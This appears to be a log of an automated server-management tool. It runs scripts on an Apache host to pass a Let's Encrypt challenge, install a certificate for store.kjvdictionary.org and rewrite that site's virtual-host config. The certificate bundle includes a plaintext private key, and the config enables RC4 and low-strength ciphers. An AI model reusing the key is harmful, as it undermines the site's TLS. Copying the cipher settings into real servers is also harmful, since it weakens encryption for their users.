2025-11-27 13:25:44: Establishing a connection
2025-11-27 13:25:44: Establishing a connection
2025-11-27 13:25:44: 

PUT: /tmp/pkp298109

#!/bin/bash
if [ -d "/var/www/kjvdictionary_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-27 13:25:44: 

chmod 755 /tmp/pkp298109; /tmp/pkp298109; rm /tmp/pkp298109

2025-11-27 13:25:44: 


0


2025-11-27 13:27:09: Establishing a connection
2025-11-27 13:27:09: Establishing a connection
2025-11-27 13:27:10: 

PUT: /tmp/pkp737571

#!/bin/bash
if [ -d "/var/www/kjvdictionary_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-27 13:27:10: 

chmod 755 /tmp/pkp737571; /tmp/pkp737571; rm /tmp/pkp737571

2025-11-27 13:27:10: 


1


2025-11-27 13:27:11: Establishing a connection
2025-11-27 13:27:11: 

PUT: /tmp/pkp870129

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cat > Mr7EUfoCDOEupk5NC2ECwTGwnX8EtfNIMNjBIrTjFv8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Mr7EUfoCDOEupk5NC2ECwTGwnX8EtfNIMNjBIrTjFv8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Mr7EUfoCDOEupk5NC2ECwTGwnX8EtfNIMNjBIrTjFv8


2025-11-27 13:27:11: 

chmod 755 /tmp/pkp870129; /tmp/pkp870129; rm /tmp/pkp870129

2025-11-27 13:27:11: 




2025-11-27 13:27:14: Establishing a connection
2025-11-27 13:27:15: 

PUT: /tmp/pkp375419

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
rm Mr7EUfoCDOEupk5NC2ECwTGwnX8EtfNIMNjBIrTjFv8


2025-11-27 13:27:15: 

chmod 755 /tmp/pkp375419; /tmp/pkp375419; rm /tmp/pkp375419

2025-11-27 13:27:15: 




2025-11-27 13:27:15: Establishing a connection
2025-11-27 13:27:15: 

PUT: /tmp/pkp171099

#!/bin/bash
temp_file=$(mktemp)
TARGET=82027fd7e0abdd79a359ee4b0d03e041.crt

cat > $temp_file <<'endmsg'
88:17:59:87:9b:0b:19:23:ae:10:50:1b:f5:fd:b6:da

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBRAvR2mfAg3NdfkPCNSNa2veMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTI3MTIyODQ0WhcNMjYwMjI1MTIyODQzWjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMY+0VqytSTE6k06wbdOK2T1Q4/+vN0e5+RoFMHdmudRm+m5r2GG
TIqM3BfFuRL0Pw5YpoFfMUbncDn9kQn6Ok20YXcl8IPa/yrcdHDYLpMktWMhScwy
wr4mgmczTeBxUOKd6bXbkba4M0iiVxhvpHrWuD01cijkFhj7UAK4UadgqZqVaP6w
M3okxiAfGG7VQV4lahZ/LMZ/GfXlmS0409DiuW74oPLfZe+T2xks2ycJ7xd4hFJr
T61hLHwMQshhAhtf9sOzMpFdq/pa/HgyNeTKBF0+etWBNvv5rxvOztcPAOixZSS9
QwZ9TKlVfrnhcRTfLpSRoCnbJNTlYgFfeVcCAwEAAaOCAigwggIkMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUFQnhaafFHtT3+nqH/9cG/OgxRJIwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdzdG9yZS5ranZk
aWN0aW9uYXJ5Lm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzk1LmNybDCCAQUGCisGAQQB1nkC
BAIEgfYEgfMA8QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
msV/IcEAAAQDAEgwRgIhANOk0T6uVoXKwPiHlomoLdJ2sVfdXguwZKkWSijXyZhF
AiEAzZrc8h+VyAA0WqqOwnx1aM56qYcpo0zKFs2GfLE+YbgAdgDLOPcViXyEoURf
W8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZrFfyHeAAAEAwBHMEUCIGY5QqPknURj
IIZzzkMZblv4TyPGnzarx02qFoTpc59iAiEA5/vSJd3HrcLQRoxZQNNNKhF7eGrp
FI8DxsAEfEQaL2gwDQYJKoZIhvcNAQELBQADggEBACELrtkA3Wj5NU87hWrkU7sF
iKBiJc0nACeOVsBEo22mQ+nT+pgrPKpXBLRqf9vd9enBeEdFrKN3bKSVlZYTRBz6
AQKaTjEUrVSIBBiz9pUVI/EWuJp7Tff31A3W/74t6fDGrzD/xmEL0wA49Ie9CPZp
g02dTjTdh0lDmKPSwP7GERhHAgle6UCztkFkQzIrVEV3IHEBIvjsJQ66Ys6ZRt8Z
IJFokTBtwYsqBXxZcmWTwcvf69I1fYIuFbRmffE5yIq+lDurMqCfP+XRKgcA+zv+
FVXnaKZD3zf8kWhf7zFjN2md7h7ERFZV2/vY6PMVZP/lRt280hU3vBJIzqPL6As=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDGPtFasrUkxOpN
OsG3Titk9UOP/rzdHufkaBTB3ZrnUZvpua9hhkyKjNwXxbkS9D8OWKaBXzFG53A5
/ZEJ+jpNtGF3JfCD2v8q3HRw2C6TJLVjIUnMMsK+JoJnM03gcVDinem125G2uDNI
olcYb6R61rg9NXIo5BYY+1ACuFGnYKmalWj+sDN6JMYgHxhu1UFeJWoWfyzGfxn1
5ZktONPQ4rlu+KDy32Xvk9sZLNsnCe8XeIRSa0+tYSx8DELIYQIbX/bDszKRXav6
Wvx4MjXkygRdPnrVgTb7+a8bzs7XDwDosWUkvUMGfUypVX654XEU3y6UkaAp2yTU
5WIBX3lXAgMBAAECggEACEa3FsI/LbnKzk6Vp8FrrltO5sQLvm973t05gJ5vyRhv
GeLWn4urxlz7E0L95vyrZT3uNZhzxjIDTWh4laIMrRHKv96lm9uYq4Fomw1rZFkz
+V96ZTv5RVb2Ori5l5Uje1J8X0s7WhV2jqG4YRzIERjFuEhy66IaChDz1ik7v3EG
vPgrVU3MPGuOZrCM6smJxrX70glz+WatEnHlJ3cTMwcdnI7dCRQMlnn84R8Gd6be
MONvpfLYQL++uY+IW7etxI9iPDLUubOyxi44CS+MDs9196J0Ho+FxiuyCsaJgOhS
EIUNxZr4M+vnVsdGflO5A9ti37KGA4/xId2JaGvRgQKBgQD4joAQHwCpep1jpeCF
N4gT8OswtKVT0b766/nvToWKmrDWumtHnW6nZb9BT0NegCVbGz5/9a2OobfbPBiG
xGXdj8VgA5UadBpfnbbpgOZ/Q9x7mg60zGzKOQ4QD1NaBc8rkfcW2Ex/wPdYqy+5
RJWZ5Ldf9/2V3CfCTzwKtN7bWwKBgQDMLp5NIjMjPa1Lz60FbhbbEG5ijMXSs2Ez
JPbt3A8bWqgYQZtsDXqxk7HanuFKn6gl+RSKOJQBFWSASRj7VlEV7S4p4JRG2Rs0
+zzxVmYrjeKbj3+EEbiyl14gsFueCfeyFDC8FbpTGDoLse0jP/FUO7hkx30Mum4U
gUt3rVLGtQKBgCQtgaBXEt6YNT5iz3o0af8VCvaM5J99oQGexUM6t59EAsdOXP0Q
giGlYqAb7F9d4ZIQNhmj5b4j9cHYTm2XOoh0O7NM8i/mhEw0hYIZO/N8KiRneQqB
0rfgdBaMVIJ+4/egiElv9DqIGLh0Oj8KJ4g9zR8P1n4wjCzxIXkheGqPAoGBAKxq
jVhbEc2nbmf/JX7ZWMmBlYT4lK/4s5KJm05+Le+OXTWmaQUUWNANBPm0glAOg+IU
9AhIAIrtsqE1mLfcSrp2Py4zq2IsQPI7WVn9+Ga8+GceBLLUeB+u/FgkNCk/B3/D
1udsfZtfcNyhUbsbasETcQEBB5Kw9vWvvLeBj82lAoGANEPH29UWQAxjiaRhYBLa
qMMH25l+ih2kfFlZgt/1PoObao3VtaNMXwZU70ReWVIH9Zmtgj4oTou87F/v6VJe
BFQbOXE689M0j8Hppsd0TqWngwVNKjuPqh0tvxNQ5/GY4cuEwPMXWD+zM4P5EBCi
FHh9/I+anZJz/U53tVZDt5I=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-27 13:27:15: 

chmod 755 /tmp/pkp171099; /tmp/pkp171099; rm /tmp/pkp171099

2025-11-27 13:27:15: 


dir=/etc/ssl/certs


2025-11-27 13:27:15: 

PUT: /tmp/pkp891884

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_store_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-27 13:27:15: 

chmod 755 /tmp/pkp891884; /tmp/pkp891884; rm /tmp/pkp891884

2025-11-27 13:27:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf 47

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-11-27 13:27:15: 

PUT: /tmp/pkp563935

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_store_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1'
fi


2025-11-27 13:27:15: 

chmod 755 /tmp/pkp563935; /tmp/pkp563935; rm /tmp/pkp563935

2025-11-27 13:27:15: 




2025-11-27 13:27:15: 

PUT: /tmp/pkp891039

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-27 13:27:15: 

chmod 755 /tmp/pkp891039; /tmp/pkp891039; rm /tmp/pkp891039

2025-11-27 13:27:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-27 13:27:15: Establishing a connection
2025-11-27 13:27:15: 

PUT: /tmp/pkp657565

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-27 13:27:15: 

chmod 755 /tmp/pkp657565; /tmp/pkp657565; rm /tmp/pkp657565

2025-11-27 13:27:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-27 13:27:15: 

PUT: /tmp/pkp441939

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_store_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 13:27:15: 

chmod 755 /tmp/pkp441939; /tmp/pkp441939; rm /tmp/pkp441939

2025-11-27 13:27:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf	1250

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-27 13:27:15: 

PUT: /tmp/pkp975961

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 13:27:15: 

chmod 755 /tmp/pkp975961; /tmp/pkp975961; rm /tmp/pkp975961

2025-11-27 13:27:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt	5372
88:17:59:87:9b:0b:19:23:ae:10:50:1b:f5:fd:b6:da

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBRAvR2mfAg3NdfkPCNSNa2veMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTI3MTIyODQ0WhcNMjYwMjI1MTIyODQzWjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMY+0VqytSTE6k06wbdOK2T1Q4/+vN0e5+RoFMHdmudRm+m5r2GG
TIqM3BfFuRL0Pw5YpoFfMUbncDn9kQn6Ok20YXcl8IPa/yrcdHDYLpMktWMhScwy
wr4mgmczTeBxUOKd6bXbkba4M0iiVxhvpHrWuD01cijkFhj7UAK4UadgqZqVaP6w
M3okxiAfGG7VQV4lahZ/LMZ/GfXlmS0409DiuW74oPLfZe+T2xks2ycJ7xd4hFJr
T61hLHwMQshhAhtf9sOzMpFdq/pa/HgyNeTKBF0+etWBNvv5rxvOztcPAOixZSS9
QwZ9TKlVfrnhcRTfLpSRoCnbJNTlYgFfeVcCAwEAAaOCAigwggIkMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUFQnhaafFHtT3+nqH/9cG/OgxRJIwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdzdG9yZS5ranZk
